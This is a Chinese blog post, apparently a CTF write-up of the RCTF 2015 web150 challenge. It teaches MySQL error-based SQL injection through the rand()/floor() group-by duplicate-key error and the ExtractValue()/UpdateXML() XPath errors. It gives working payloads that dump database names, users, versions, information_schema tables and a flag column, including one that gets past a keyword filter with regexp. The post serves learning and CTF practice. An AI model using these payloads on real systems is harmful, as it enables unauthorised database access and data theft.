SQL 显错注入

2023-02-20 14:52:39 浏览数 (2)

在做rctf2015的一道web题目的时候,遇到了一个显错注入,学习不少姿势,写下来好好研究下…

rand()和order by冲突错误(转自知乎路西法)

一般意义上来说,我们常用的显错注入手段是这两个,在mysql的官方文档中有这样一句 RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. 也就是说不能作为order by的条件字段,group by同理: 所以有一下payload:

代码语言:javascript复制
 and 1=2 UNION SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x5f,database(),0x5f,user(),0x5f,version())))a from information_schema.tables group by a)b--

其中a为:

代码语言:javascript复制
concat(floor(rand(0)*2),(select concat(0x5f,database(),0x5f,user(),0x5f,version())))

后面又group by a,所以会爆出 Duplicate entry ‘XXXXXXXXXX’ for key ‘group_key’ 其中XXXXX就是0x5f,database(),0x5f,user(),0x5f,version()的内容,这样一步步就能拿到想要的信息

在前面的payload中其实还有个很重要的函数是floor()取整,在之前的文章中研究过,floor(rand()*2)这样会产生重复的随机数,从而在order by时候报错。

ExtractValue()和 UpdateXml()(限制长度32位)

官方文档中关于这两个函数的解释是这样的:

Name

Description

ExtractValue()

Extracts a value from an XML string using XPath notation

UpdateXML()

Return replaced XML fragment

ExtractValue(xml_frag, xpath_expr)

第一个参数:XML_frag是String格式,为XML文档对象的名称 第二个参数:XPath_expr (Xpath格式的字符串)

而且这种查找应该是跳过标签的,举几个例子

代码语言:javascript复制
mysql> SELECT ExtractValue('<a><b/></a>', '/a/b');
 ------------------------------------- 
| ExtractValue('<a><b/></a>', '/a/b') |
 ------------------------------------- 
|                                     |
 ------------------------------------- 
1 row in set (0.00 sec)

上面这个就是没有结果的

代码语言:javascript复制
mysql> SELECT ExtractValue('<a><b/></a>', 'count(/a/b)');
 ------------------------------------- 
| ExtractValue('<a><b/></a>', 'count(/a/b)') |
 ------------------------------------- 
| 1                                   |
 ------------------------------------- 
1 row in set (0.00 sec)

但是可以通过xpath语句,查询数量

代码语言:javascript复制
mysql> SELECT ExtractValue('<a><c/></a>', 'count(/a/b)');
 ------------------------------------- 
| ExtractValue('<a><c/></a>', 'count(/a/b)') |
 ------------------------------------- 
| 0                                   |
 ------------------------------------- 
1 row in set (0.01 sec)

如果格式不对,就返回0

代码语言:javascript复制
mysql> SELECT
    ->   ExtractValue('<a>ccc<b>ddd</b></a>', '/a') AS val1,
    ->   ExtractValue('<a>ccc<b>ddd</b></a>', '/a/b') AS val2,
    ->   ExtractValue('<a>ccc<b>ddd</b></a>', '//b') AS val3,
    ->   ExtractValue('<a>ccc<b>ddd</b></a>', '/b') AS val4,
    ->   ExtractValue('<a>ccc<b>ddd</b><b>eee</b></a>', '//b') AS val5;

 ------ ------ ------ ------ --------- 
| val1 | val2 | val3 | val4 | val5    |
 ------ ------ ------ ------ --------- 
| ccc  | ddd  | ddd  |      | ddd eee |
 ------ ------ ------ ------ --------- 

文档中是这么说的 ExtractValue() returns only CDATA, and does not return any tags that might be contained within a matching tag, nor any of their content (see the result returned as val1 in the following example).

UpdateXML(xml_target, xpath_expr, new_xml)

第二个函数,官方文档的解释是这样的This function replaces a single portion of a given fragment of XML markup xml_target with a new XML fragment new_xml, and then returns the changed XML. The portion of xml_target that is replaced matches an XPath expression xpath_expr supplied by the user. 大概的意思应该是吧xml_target里面的xpath_expr位置替换成new_xml. If no expression matching xpath_expr is found, or if multiple matches are found, the function returns the original xml_target XML fragment. All three arguments should be strings. 如果没有找到的话,就返回查询到的字符串。

代码语言:javascript复制
mysql> SELECT
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
    ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
    -> G

*************************** 1. row ***************************
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>

现在我们知道上面两个函数是干嘛的了,现在进入正题

利用这两个函数显错注入

先放上来两个payload,一步步分析下

代码语言:javascript复制
"&&extractvalue(1,concat(0x5c,(select(flag)from(flag))))#

这是rctf web150的显错注入,如果注册用户名为这个,修改密码时就会出现 ERROR 1105 (HY000): XPATH syntax error: RCTF{Good job! But flag not her 可以发现报错显示了关键数据,虽然不是真正的flag。 这里为什么报错还是不太明白,可能是因为0x5c是不可以打印字符,别的也可以代替

于是回去翻翻别的表,这样的语法貌似是需要只有一个值,所以后面还要加上column_name!=xxx

代码语言:javascript复制
ddog"&&extractvalue(1,concat(0x5c,(select(column_name)from(information_schema.columns)where(table_name='users')))

后来看了别人的writeup发现其实可以直接跑出来

代码语言:javascript复制
ddog"||updateml(0x7c,concat((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

然后发现users表中有一列是real_flag_is_here,然后就是查询匹配,但是substring left,right,reverse like都被拦截,所以用了regexp

代码语言:javascript复制
username=ddog"||updatexml(0x7c,concat((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^R'))),1)#&password=123&email=123

这样就得到了flag,最后再附上regexp的用法

expr REGEXP pat, expr RLIKE pat

Performs a pattern match of a string expression expr against a pattern pat. The pattern can be an extended regular expression, the syntax for which is discussed later in this section. Returns 1 if expr matches pat; otherwise it returns 0. If either expr or pat is NULL, the result is NULL. RLIKE is a synonym for REGEXP, provided for mSQL compatibility.

举两个例子

代码语言:javascript复制
mysql> SELECT 'Monty!' REGEXP '.*';
        -> 1
mysql> SELECT 'new*n*line' REGEXP 'new\*.\*line';
        -> 1
mysql> SELECT 'a' REGEXP 'A', 'a' REGEXP BINARY 'A';
        -> 1  0
mysql> SELECT 'a' REGEXP '^[a-d]';
        -> 1

不同的符号有不同的用法,还是放上官方文档的地址,有兴趣自己去看吧。 https://dev.mysql.com/doc/refman/5.7/en/regexp.html

0 人点赞